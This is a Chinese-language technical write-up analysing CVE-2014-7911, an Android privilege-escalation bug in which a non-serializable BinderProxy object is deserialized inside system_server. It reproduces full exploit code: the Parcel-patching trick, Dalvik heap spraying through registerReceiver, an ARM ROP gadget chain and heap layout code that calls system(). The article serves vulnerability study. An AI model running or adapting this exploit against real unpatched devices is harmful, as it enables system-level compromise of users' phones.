网上对于此漏洞的分析已经很多了,由于这个漏洞设计了很多底层的知识,很值得学习。总算耐着性子把这个漏洞分析了一下,文章主要记录自己的分析过程。
要完成此漏洞的分析,需要不少基础知识支持。主要有:
由于CVE-2014-7911影响了Android 5.0一下版本,所以实验设备需要And容地5.0以下。注意,部分看下手机的系统发布时间,可能OEM针对此漏洞发布了对应的漏洞补丁。另外,我看到资料上说不要使用模拟器,原始是在模拟器上不能通过反射获取系统服务。我一开始在模拟器上运行PoC代码,确实不能成功。我的实验环境如下:
Android 版本:4.3首先看下漏洞成因:在Android <5.0系统中,java.io.ObjectInputStream不校验传入的java对象是否是可序列化的。于是,攻击者可以构造一个不可序列话的java对象,并且此Java对象包含了攻击者控制的恶意成员变量。在binder 的server端收到请求时,ObjectInputStream将不可序列化的java对象进行序列化,于是发生类型混淆,攻击者控制的成员变量被当成指针处理。根据此指针可以改变程序的执行流程,进一步向system_server进程注入代码,由于system_server拥有system权限,从而使得注入的代码以system权限执行,达到了提权的目的。
从众多的Android类或者Java类中寻找一个不可序列化的对象,从retme7公开的PoC代码中可以看到,利用了Android.os.BinderProxy类。之所以利用BinderProxy类,可能是因为利用此类在GC(垃圾回收)时的指针更加容易控制。即Android.os.BinderProxy对象的mOrgue成员。大神是如何找到这样的好利用的对象的?
同时,不可序列化的Android.os.BinderProxy需要被处理,即需要server端进行反序列化,才能产生类型混淆。Android中的Binder机制很好地解决了这个问题,binder Client中放入一个序列化对象,在Binder Server端就对此对象进行反序列化。但是,由于在Binder Client中添加的对象需要是可序列化的,所以这一采用了一个技巧。即先构造可序列化的AAdroid.os.Binder对象,将其添加到Binder的发送数据中,但是,在发送前进行一次类似序列化的操作,把AAdroid.os.Binder改成Android.os.Binder对象。这样,server在处理的时候,就会是除了不可序列化的对象。
package AAdroid.os;
import java.io.Serializable;
public class BinderProxy implements Serializable {
private static final long serialVersionUID = 0;
public int mObject = 0x1337beef;
public int mOrgue = 0x1337beef;
}
通过反射获取Binder对象,这里使用的是IUserManager系统服务。但是,个人觉得通过其他的系统服务也是可以做到的。
void expolit(int static_address) {
Context ctx = getBaseContext();
try {
Bundle b = new Bundle();
AAdroid.os.BinderProxy evilProxy = new AAdroid.os.BinderProxy();
evilProxy.mOrgue = static_address;
b.putSerializable("eatthis", evilProxy);
Class clIUserManager = Class.forName("android.os.IUserManager");
Class[] umSubclasses = clIUserManager.getDeclaredClasses();
System.out.println(umSubclasses.length + " inner classes found");
Class clStub = null;
for (Class c : umSubclasses) {
System.out.println("inner class: " + c.getCanonicalName());
if (c.getCanonicalName().equals("android.os.IUserManager.Stub")) {
clStub = c;
}
}
Field fTRANSACTION_setApplicationRestrictions = clStub
.getDeclaredField("TRANSACTION_setApplicationRestrictions");
fTRANSACTION_setApplicationRestrictions.setAccessible(true);
TRANSACTION_setApplicationRestrictions = fTRANSACTION_setApplicationRestrictions
.getInt(null);
UserManager um = (UserManager) ctx
.getSystemService(Context.USER_SERVICE);
Field fService = UserManager.class.getDeclaredField("mService");
fService.setAccessible(true);
Object proxy = fService.get(um);
Class[] stSubclasses = clStub.getDeclaredClasses();
System.out.println(stSubclasses.length + " inner classes found");
clProxy = null;
for (Class c : stSubclasses) {
System.out.println("inner class: " + c.getCanonicalName());
if (c.getCanonicalName().equals(
"android.os.IUserManager.Stub.Proxy")) {
clProxy = c;
}
}
Field fRemote = clProxy.getDeclaredField("mRemote");
fRemote.setAccessible(true);
mRemote = (IBinder) fRemote.get(proxy);
UserHandle me = android.os.Process.myUserHandle();
setApplicationRestrictions(ctx.getPackageName(), b, me.hashCode());
Log.i("badserial",
"waiting for boom here and over in the system service...");
} catch (Exception e) {
throw new RuntimeException(e);
}
}
setApplicationRestrictions()函数就是完成发送不可序列化的Android.os.BinderProxy给服务端的操作。
public void setApplicationRestrictions(java.lang.String packageName,
android.os.Bundle restrictions, int userHandle)
throws android.os.RemoteException {
android.os.Parcel _data = android.os.Parcel.obtain();
android.os.Parcel _reply = android.os.Parcel.obtain();
try {
_data.writeInterfaceToken(DESCRIPTOR);
_data.writeString(packageName);
_data.writeInt(1);
restrictions.writeToParcel(_data, 0);
_data.writeInt(userHandle);
byte[] data = _data.marshall();
for (int i = 0; true; i++) {
if (data[i] == 'A' && data[i + 1] == 'A' && data[i + 2] == 'd'
&& data[i + 3] == 'r') {
data[i] = 'a';
data[i + 1] = 'n';
break;
}
}
_data.recycle();
_data = Parcel.obtain();
_data.unmarshall(data, 0, data.length);
mRemote.transact(TRANSACTION_setApplicationRestrictions, _data,
_reply, 0);
_reply.readException();
} finally {
_reply.recycle();
_data.recycle();
}
}
这个我们利用了UserManager服务的setApplicationRestrictions函数。我们查看下Binder服务端Android源码中setApplicationRestrictions函数是否使用了ObjectOutputStream进行反序列化。在 源码/frameworks/base/services/java/com/android/server/pm/UserManagerService.java中定义了setApplicationRestrictions()函数。
setApplicationRestrictions调用了writeApplicationRestrictionsLocked()函数。
运行代码,由于发生了类型混淆,Android.os.BinderProxy的mOrgue成员被当成了指针处理,所以程序程序抛飞了,导致system_server进程的崩溃,即系统重启。
下面是Native层分析,也是难点所在,查看崩溃日志。
在Android.os.BinderProxy类中,存在一个处理垃圾回收的代码。Android中的GC机制导致BinderProxy中的finalize()被调用。
@Override
protected void finalize() throws Throwable {
try {
destroy();
} finally {
super.finalize();
}
}
destroy()是一个Native方法。
private native final void destroy();
对应的Native实现在源码/frameworks/base/core/jni/android_util_Binder.cpp中。
static void android_os_BinderProxy_destroy(JNIEnv* env, jobject obj)
{
IBinder* b = (IBinder*)
env->GetIntField(obj, gBinderProxyOffsets.mObject);
DeathRecipientList* drl = (DeathRecipientList*)
env->GetIntField(obj, gBinderProxyOffsets.mOrgue);
LOGDEATH("Destroying BinderProxy %p: binder=%p drl=%p\n", obj, b, drl);
env->SetIntField(obj, gBinderProxyOffsets.mObject, 0);
env->SetIntField(obj, gBinderProxyOffsets.mOrgue, 0);
drl->decstrong((void*)javaobjectforibinder);
b->decStrong((void*)javaObjectForIBinder);
IPCThreadState::self()->flushCommands();
}
这里将攻击者控制的mOrgue成员字段转化成了DeathRecipientList*对象的指针。其中gBinderProxyOffsets.mOrgue和gBinderProxyOffsets.mObject同在这个对象中完成了初始化。可以看到,他们就是从攻击者控制的mOgrue和mObject获得的。 mOrgue相当于控制了DeathRecipientList的对象的this指针,这句话需要理解下。
DeathRecipientList* drl =(DeathRecipientList*)env->GetIntField(obj,gBinderProxyOffsets.mOrgue);
所以,这里和drl相关的东西就是攻击者可以控制的,也就是可以注入代码的地方。在android_os_BinderProxy_destroy()函数中,唯一和drl相关的就是drl->decstrong((void*)javaobjectforibinder)函数。
ps:这里也就回归到了system_server崩溃的地方,即decStrong()函数处。其实,上面找到从finalize()函数开始,应该是从decStrong()函数逆推回去的。
void RefBase::decStrong(const void* id) const
{
weakref_impl* const refs = mRefs;
refs->removeStrongRef(id);
const int32_t c = android_atomic_dec(&refs->mStrong);
#if PRINT_REFS
ALOGD("decStrong of %p from %p: cnt=%d\n", this, id, c);
#endif
ALOG_ASSERT(c >= 1, "decStrong() called on %p too many times", refs);
if (c == 1) {
refs->mBase->onLastStrongRef(id);
if ((refs->mFlags&OBJECT_LIFETIME_MASK) == OBJECT_LIFETIME_STRONG) {
delete this;
}
}
refs->decWeak(id);
}
这里乍一看得不到啥有用信息,查看下mRefs定义,其也是定义在 /frameworks/native/include/utils/RefBase.h中。在RefBase中定义了decStrong()函数和weakref_impl* const mRefs变量。
class RefBase
{
public:
void incStrong(const void* id) const;
void decStrong(const void* id) const;
void forceIncStrong(const void* id) const;
//! DEBUGGING ONLY: Get current strong ref count.
int32_t getStrongCount() const;
class weakref_type
{
public:
RefBase* refBase() const;
void incWeak(const void* id);
void decWeak(const void* id);
// acquires a strong reference if there is already one.
bool attemptIncStrong(const void* id);
// acquires a weak reference if there is already one.
// This is not always safe. see ProcessState.cpp and BpBinder.cpp
// for proper use.
bool attemptIncWeak(const void* id);
//! DEBUGGING ONLY: Get current weak ref count.
int32_t getWeakCount() const;
//! DEBUGGING ONLY: Print references held on object.
void printRefs() const;
//! DEBUGGING ONLY: Enable tracking for this object.
// enable -- enable/disable tracking
// retain -- when tracking is enable, if true, then we save a stack trace
// for each reference and dereference; when retain == false, we
// match up references and dereferences and keep only the
// outstanding ones.
void trackMe(bool enable, bool retain);
};
weakref_type* createWeak(const void* id) const;
weakref_type* getWeakRefs() const;
//! DEBUGGING ONLY: Print references held on object.
inline void printRefs() const { getWeakRefs()->printRefs(); }
//! DEBUGGING ONLY: Enable tracking of object.
inline void trackMe(bool enable, bool retain)
{
getWeakRefs()->trackMe(enable, retain);
}
typedef RefBase basetype;
protected:
RefBase();
virtual ~RefBase();
//! Flags for extendObjectLifetime()
enum {
OBJECT_LIFETIME_STRONG = 0x0000,
OBJECT_LIFETIME_WEAK = 0x0001,
OBJECT_LIFETIME_MASK = 0x0001
};
void extendObjectLifetime(int32_t mode);
//! Flags for onIncStrongAttempted()
enum {
FIRST_INC_STRONG = 0x0001
};
virtual void onFirstRef();
virtual void onLastStrongRef(const void* id);
virtual bool onIncStrongAttempted(uint32_t flags, const void* id);
virtual void onLastWeakRef(const void* id);
private:
friend class weakref_type;
class weakref_impl;
RefBase(const RefBase& o);
RefBase& operator=(const RefBase& o);
private:
friend class ReferenceMover;
static void renameRefs(size_t n, const ReferenceRenamer& renamer);
static void renameRefId(weakref_type* ref,
const void* old_id, const void* new_id);
static void renameRefId(RefBase* ref,
const void* old_id, const void* new_id);
weakref_impl* const mRefs;
};
可以看到,DeathRecipientList类是RefBase的子类,前面我们说到,mOrgue相当于控制了DeathRecipientList类的this指针。所以,RefBase对象的基址相当于也被攻击者控制了。继续回到上面的decStrong函数,根据C++内存布局,里面mRefs的地址就是this指针+4。即mRefs=mOrgue+4。这样,可以被攻击者控制的地方有3个:refs->removeStrongRef(id), refs->mBase->onLastStrongRef(id)和refs->decWeak(id)。其中,再次根据C++内存布局,refs->mBase的地址应该是refs的地址+8。通过后面的汇编代码可以看到,removeStrongRef()函数是个空实现,在编译的时候已经被优化掉。所以,这里还生下来两条途径可以被攻击者控制来向system_server进程注入代码。
前面在 android_os_BinderProxy_destroy()函数中,我们就看到,我们可以通过mOrgue控制了DeathRecipientList对象的地址。那么,是否可以直接通过查看decstrong()函数相对DeathRecipientList对象的地址偏移来控制代码执行流程?综上,我们提出三个可能攻击的途径:
通过 控制decString()函数相对 DeathRecipientList对象的地址偏移直接指向攻击者代码;
通过控制removeStrongRef(id)相对refs的地址来直接指向攻击者代码;
通过refs->mBase->onLastStrongRef(id)来指向攻击者代码。
对照着源码,查看一下汇编代码,分段解释中直接把解释写到了代码注释。
PUSH {R4-R6,LR}
MOV R5, R0 #r0是this指针
LDR R4, [R0,#4] #r0+4的内容为refs(mRefs)
MOV R6, R1
MOV R0, R4 #r0为refs->mStrong
BLX android_atomic_dec
CMP R0, #1 #判断refs->mStrong是否为1
BNE loc_F954
LDR R0, [R4,#8] #r0为refs->mBase
MOV R1, R6
LDR R3, [R0]
LDR R2, [R3,#0xC] #refs->mBase->onLastStrongRef(id),即对mBase的偏移是12
BLX R2 #转向onLastStrongRef()函数
LDR R0, [R4,#0xC]
LSLS R0, R0, #0x1F
BMI loc_F954
注意,android_atomic_dec函数执行强引用计数减1,返回的是执行减1操作之前所指定的内存地址存放的值。为了调用refs->mBase->onLastStrongRef(id)(即:blx r2),攻击者需要使refs->mStrong为1。 至此,可以看出攻击者为了实现代码执行,需要满足如下约束条件:
1. drl(就是mOrgue,第一个可控的指针,在进入decStrong函数时的r0)必须指向可读的内存区域;
2. refs->mStrong必须为1;
3. refs->mBase->onLastStrongRef(id)需要执行成功。并最终指向可执行的内存区域。即满足:
if(*(*(mOrgue+4)) == 1) {
refs = *(mOrgue+4);
r2 = *(*(*(refs+8))+12);
blx r2 ; <—— controlled;
}
Android底层的Linux内核采用了地址随机化措施。但是,我们知道,system_server和所有的App 都是fork自zygote进程的。根据写时拷贝技术,他们会共享dalvik-heap和一些基础模块。后面我们看到,只要在使用dalvik heapspray和构建ROP Gadget时,只使用libc、libdvm这些基础模块,就无需考虑地址随机化的问题。
前面我们看到,攻击者可以通过mOrgue控制程序执行流程,也就是让程序转到mOrgue的地方去执行。所以,需要在mOrgue地址所在的地方注入代码。这样,需要将mOrgue指向攻击者可以传入代码的地方。这就需要采用堆喷射技术。
system_server进程向android设备提供绝大部分的系统服务,通过这些服务的一些特定方法我们可以向system_server传输一个String,同时system_server把这个String存储在Dalvik-heap中不被销毁(因为我们需要使用注入代码段对这片内存区域进行填充)。
void heap_spary_ex(String str) {
str = str + generateString(16);
try {
IntentFilter inFilter = new IntentFilter();
inFilter.addAction(generateString(16));
this.registerReceiver(receiver, inFilter, str, null);
// LocationManager lm =
// (LocationManager)getSystemService(LOCATION_SERVICE);
// lm.addTestProvider(str.toString(), false, false, false, false,
// false, false, false, 1, 1);
} catch (Exception e) {
// throw new RuntimeException(e);
// Log.d("7911", "exception" );
e.printStackTrace();
}
}
查看registerReceiver()方法。
public Intent registerReceiver(BroadcastReceiver receiver, IntentFilter filter, String broadcastPermission, Handler scheduler)
其中broadcastPermission参数为一个String类型,方法调用完成后,String buffer将常驻system_server内存空间,并且不会被销毁。接下来,简单分析下registerReceiver方法是如何将String传递进并常驻在system_server进程的:
ContextWrapper.registerReceiver->ContextImpl.registerReceiver->ContextImpl.registerReceiverInternal->ActivityManagerProxy.registerReceiver->ActivityManagerService.registerReceiver
注意ActivityManagerProxy.registerReceiver方法里通过Binder驱动程序就进入到了ActivityManagerService中的registerReceiver方法中,也就是进入到了system_server进程里。
public Intent registerReceiver(IApplicationThread caller, String callerPackage, IIntentReceiver receiver, IntentFilter filter, String permission, int userId) {
enforceNotIsolatedCaller("registerReceiver");
int callingUid;
int callingPid;
synchronized(this) {
......
ReceiverList rl
= (ReceiverList)mRegisteredReceivers.get(receiver.asBinder());
......
BroadcastFilter bf = new BroadcastFilter(filter, rl, callerPackage,
permission, callingUid, userId);
rl.add(bf);
......
return sticky;
}
}
通过
BroadcastFilter bf = new BroadcastFilter(filter, rl, callerPackage,
permission, callingUid, userId);
rl.add(bf);
就将传递进的String buffer即此处的permission常驻在system_server内存空间。 最后反复调用heapSpary,完成Dalvik-heap spary:
for (int i = 0; i < 2000; i++) {
heap_spary_ex(str);
if (i % 100 == 0)
Log.d("cve", "sparying.... " + i);
}
以下堆块布局条件推导摘自博客:http://blog.idhyt.com/2015/08/01/exploit-cve-2014-7911-exp/。首先看下堆的机构。
为了通过mOrgue将程序流程顺利转到shellcode处执行,要求mOrgue指针指向滑块指令区域。这样,程序总能专向shellcode处执行。且要求滑块指令所占的内存长度远大于shellcode占的内存长度。以下推导堆块内存布局所要满足的逻辑条件。
假设mOrgue命中了堆块中的滑板指令,
为了使
[mOrgue] = shellcode_addr
则有
[mOrgue] = shellcode_addr = heap_base_addr + shellcode_addr_offset
一般情况下mOrgue在堆基址某偏移处,考虑到4字节对齐,所以
mOrgue = heap_base_addr + 4N
得出 [mOrgue] = heap_base_addr + shellcode_addr_offset = mOrgue + shellcode_addr_offset - 4N (约束1)
这样,给定一个mOrgue,只要能落入system_server在dalvik heap分配的大量堆块中,
即指向了滑板指令,就总是存在[mOrgue] = shellcode_addr。
再看堆块结构图,滑板指令的值从上到下依次减4,
所以当[mOrgue] = shellcode_addr时,[mOrgue + 4] =shellcode_addr - 4,
可得出[mOrgue + 4N] = shellcode_addr - 4N
所以通过构造这样结构的堆块,就可以达到上述滑板指令的目的, 同时当命中滑板指令时,这个堆块布局有两个逻辑公式:
[mOrgue] = mOrgue + shellcode_addr_offset - 4N
[mOrgue + 4N] = shellcode_addr - 4N
接下来根据这两个条件,继续查看汇编代码。
0000d174 mov r5, r0 // r0 = mOrgue可控
0000d176 ldr r4, [r0, #0x4] // mOrgue + 4处取值
0000d178 mov r6, r1
0000d17a mov r0, r4
0000d17c blx android_atomic_dec@PLT
0000d180 cmp r0, #0x1
0000d182 bne 0xd19c
0000d184 ldr r0, [r4, #0x8] // r0 = [r4 + 8]
0000d186 mov r1, r6
0000d188 ldr r3, [r0]
0000d18a ldr r2, [r3, #0xc]
0000d18c blx r2
跳转限制条件:
[r0, #0x4] == 1 即 [mOrgue + 4] == 1 根据[mOrgue + 4N] = shellcode_addr得出 shellcode_addr - 4 == 1 流程控制限制条件: r0 = [r4 + 8] = [[r0 + 4] + 8] = [shellcode_addr - 4 + 8] = [shellcode_addr + 4]
r3 = [r0] = [[shellcode_addr + 4]]
r2 = [r3 + 12]
为了布局方便和流程控制,最后让r2指向shellcode_addr则有
r2 = [shellcode_addr] = [shellcode_addr -12 + 12]
得出r3 = shellcode_addr -12 = [mOrgue + 12]
要使[[shellcode_addr + 4]] = [mOrgue + 12]
则有[shellcode_addr + 4] == mOrgue + 12
综上所述,堆块布局的两个限制条件为:
shellcode_addr - 4 == 1
[shellcode_addr + 4] == mOrgue + 12
将大量的这样布局的堆块喷射到system_server中,一旦mOrgue值命中滑板指令,就会跳入shellcode_addr地址去执行代码。
由于Android使用了DEP,因此Dalvik-heap上的内存不能用来执行,这就必须使用ROP技术,使PC跳转到一系列合法指令序列(Gadget),并由这些Gadget拼凑而成shellcode,shellcode中执行system函数,然后通过system函数调用外部程序。
一个寻找ROP链的工具
需要注意的是,在寻找ROP跳转指令时候,一定要从基础模块(会被zygote加载的模块)中寻找,保证内存布局是一致的,如libc,libandroid_runtime等。
为了调用system函数,需要控制r0寄存器,指向我们预先布置的命令行字符串作为参数。这里需要使用Stack Pivot技术,将栈顶指针SP指向控制的Dalvik-heap堆中的数据,这将为控制PC寄存器、以及在栈上布置数据带来便利,执行命令
python ./ROPgadget.py --thumb --binary /Users/idhyt/Downloads/libwebviewchromium.so > gadgets.txt
然后就可以寻找合适的代码片段,寻找的时候要有目的性,首先第一条指令一定尽量是我们能控制的指令,通过前边dump的崩溃信息可以看到,r0,r5,r7,r8这4个寄存器的值都是mOrgue,即这4个寄存器可控,所以第一条指令可以重点查看是这4个寄存器操作的指令,下边就是一系列繁杂的体力活,直接用exploit中的ROP进行说明。
gadget1: libwebviewchromium.so(0x0070a93c)
ldr r7, [r5] // r5 = mOrgue, r7 = [mOrgue] = shellcode_addr
mov r0, r5 // r0 = mOrgue
ldr r1, [r7, #8] // r1 = [r7 + 8] = [shellcode_addr + 8]
blx r1 // 跳转到[shellcode_addr + 8]执行
gadget2: libdvm.so(0x000664c4)
add.w r7, r7, #8 // r7 = r7 + 8 = shellcode_addr + 8
mov sp, r7 // sp = r7 = shellcode_addr + 8
pop {r4, r5, r7, pc} // r4=[shellcode_addr + 8], r5=[shellcode_addr + 12], r7=[shellcode_addr + 16], pc=[shellcode_addr + 20], 跳转到pc执行
gadget3: libwebviewchromium.so(0x0030c4b8)
mov r0, sp // 上边sp=shellcode_addr + 8,然后pop出4个寄存器,所以sp=shellcode_addr + 8 + 4*4 = shellcode_addr + 24
blx r5 // r5 = [shellcode_addr + 12] 即跳转到该处执行代码
最后一步要能执行system命令,需要r0 = system参数,r5=system地址, 所以得出
[shellcode_addr + 24] = system参数
[shellcode_addr + 12] = system地址
结合堆块布局里边的约束条件
shellcode_addr - 4 == 1
[shellcode_addr + 4] == mOrgue + 12
最终的堆块数据布局如下所示:
最后,构造ROP Chain还需要考虑一个细节,ARM有两种模式Thumb和ARM模式,我们使用的Gadgets均为Thumb模式,因此其地址的最低位均需要加1.
以下代码就是填充堆区域的过程,就是安装上述图来想堆区域填充对应的数据。这块retme7的poc集合了另一个漏洞,直接提权到root权限。poc代码中,gadget中用到了libwebviewchromium.so的汇编代码。我给试验机刷的4.3系统,貌似基于chromium的webview是4.4才引入的。这块我就不再继续实验下去了,可能可以通过其他的基础库.so模块来构造ROP链(还是基于上面那个开源工具)。但这块确实是体力活太大也很枯燥,底层漏洞利用技术是个长期的学习过程。最后贴上构造ROP链的代码,如上图中,对于gadget地址,直接填充找到的.so文件的基址+汇编指令偏移即可,地址相对于.so库的偏移可以通过IDA工具获得,不知道那个构造gadget的工具是否也有这个功能。
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Button b = (Button) findViewById(R.id.button1);
b.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View arg0) {
// TODO Auto-generated method stub
// release native exploit
int dalvikHeapAddr = get_base("/dev/ashmem/dalvik-heap");
int libcAddr = get_base("/system/lib/libc.so");
int libDvmAddr = get_base("/system/lib/libdvm.so");
int libWebViewChromiumAddr = get_base("/system/lib/libwebviewchromium.so");
// static address, namely mOrgue address;
int static_address = dalvikHeapAddr + 0x01001000;
Log.d("cve",
"exploiting.... static address 0x"
+ Integer.toHexString(static_address));
// gadget buffer offset;
int gadget_buffer_offset = Unicode_buffer_lenth
- Gadget_buffer_lenth;
int gadget_buffer = static_address + gadget_buffer_offset;
Log.d("cve",
"exploiting.... gadget buffer 0x"
+ Integer.toHexString(gadget_buffer));
Log.d("cve",
"exploiting.... gadget buffer offset 0x"
+ Integer.toHexString(gadget_buffer_offset));
// a char takes 2 bytes in java, get buffer
char[] bytes = new char[Unicode_buffer_lenth / 2];
bytes[0] = 0xbeaf;
bytes[1] = 0xdead;
int value = 0;
/*以下是填充堆区域的过程,按照前面分析的堆结构填充即可**/
// set value of gadget buffer offset area
for (int k = 0; k < gadget_buffer_offset / 2; k += 2) {
value = gadget_buffer - (2 * k);
// 四字节对齐
bytes[k] = (char) value;
bytes[k + 1] = (char) ((value >> 16) & 0xffff);
// Log.d("cve","0x" + Integer.toHexString((int)bytes[k+1]) +
// Integer.toHexString((int)bytes[k]));
}
int rop_chain[] = rop_chain_KTU84P;
value = 1;
bytes[gadget_buffer_offset / 2 - 2] = (char) value;
bytes[gadget_buffer_offset / 2 - 1] = (char) ((value >> 16) & 0xffff);
// 约束条件 [shellcode_addr + 4] == mOrgue + 12
value = static_address + 0xC;
bytes[gadget_buffer_offset / 2 + 2] = (char) value;
bytes[gadget_buffer_offset / 2 + 3] = (char) ((value >> 16) & 0xffff);
// shellcode数据布局 [shellcode_addr] = gadget1_addr
value = libWebViewChromiumAddr + rop_chain[0]; // libwebviewchromium.so(0x0070a93c):
// ldr r7, [r5]
// ; mov r0, r5
// ; ldr r1,
// [r7, #8] ;
// blx r1
bytes[gadget_buffer_offset / 2] = (char) value;
bytes[gadget_buffer_offset / 2 + 1] = (char) ((value >> 16) & 0xffff);
// shellcode数据布局 [shellcode_addr + 8] = gadget2_addr
value = libDvmAddr + rop_chain[1]; // libdvm.so(0x000664c4):
// add.w r7, r7, #8 ; mov
// sp, r7 ; pop {r4, r5, r7,
// pc}
bytes[gadget_buffer_offset / 2 + 4] = (char) value;
bytes[gadget_buffer_offset / 2 + 5] = (char) ((value >> 16) & 0xffff);
// shellcode数据布局 [shellcode_addr + 12] = system_addr
value = libcAddr + rop_chain[2]; // system
bytes[gadget_buffer_offset / 2 + 6] = (char) value;
bytes[gadget_buffer_offset / 2 + 7] = (char) ((value >> 16) & 0xffff);
// shellcode数据布局 [shellcode_addr + 20] = gadget3_addr
value = libWebViewChromiumAddr + rop_chain[3]; // libwebviewchromium.so(0x0030c4b8):
// mov r0, sp ;
// blx r5
bytes[gadget_buffer_offset / 2 + 10] = (char) value;
bytes[gadget_buffer_offset / 2 + 11] = (char) ((value >> 16) & 0xffff);
// system_param cmd = "id >/data/exploit.txt"
String cmd="id >/data/exploit.txt";
int[] values = stringToInt(cmd);
for (int i = 0; i < values.length; i++) {
bytes[gadget_buffer_offset / 2 + 12 + i * 2] = (char) values[i];
bytes[gadget_buffer_offset / 2 + 13 + i * 2] = (char) ((values[i] >> 16) & 0xffff);
}
String str = null;
str = String.valueOf(bytes);
// Log.d("cve","str is " + str);
for (int i = 0; i < 2000; i++) {
heap_spary_ex(str);
if (i % 100 == 0)
Log.d("cve", "sparying.... " + i);
}
expolit(static_address);
}
});
}
参考文献:
http://blog.idhyt.com/2015/08/01/exploit-cve-2014-7911-exp/
http://ele7enxxh.com/CVE-2014-7911-Detailed-Analysis-Of-Android-Local-Privilege-Escalation-To-System-Vulnerability.html
http://zke1ev3n.me/2016/08/02/CVE-2014-7911-Android%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8/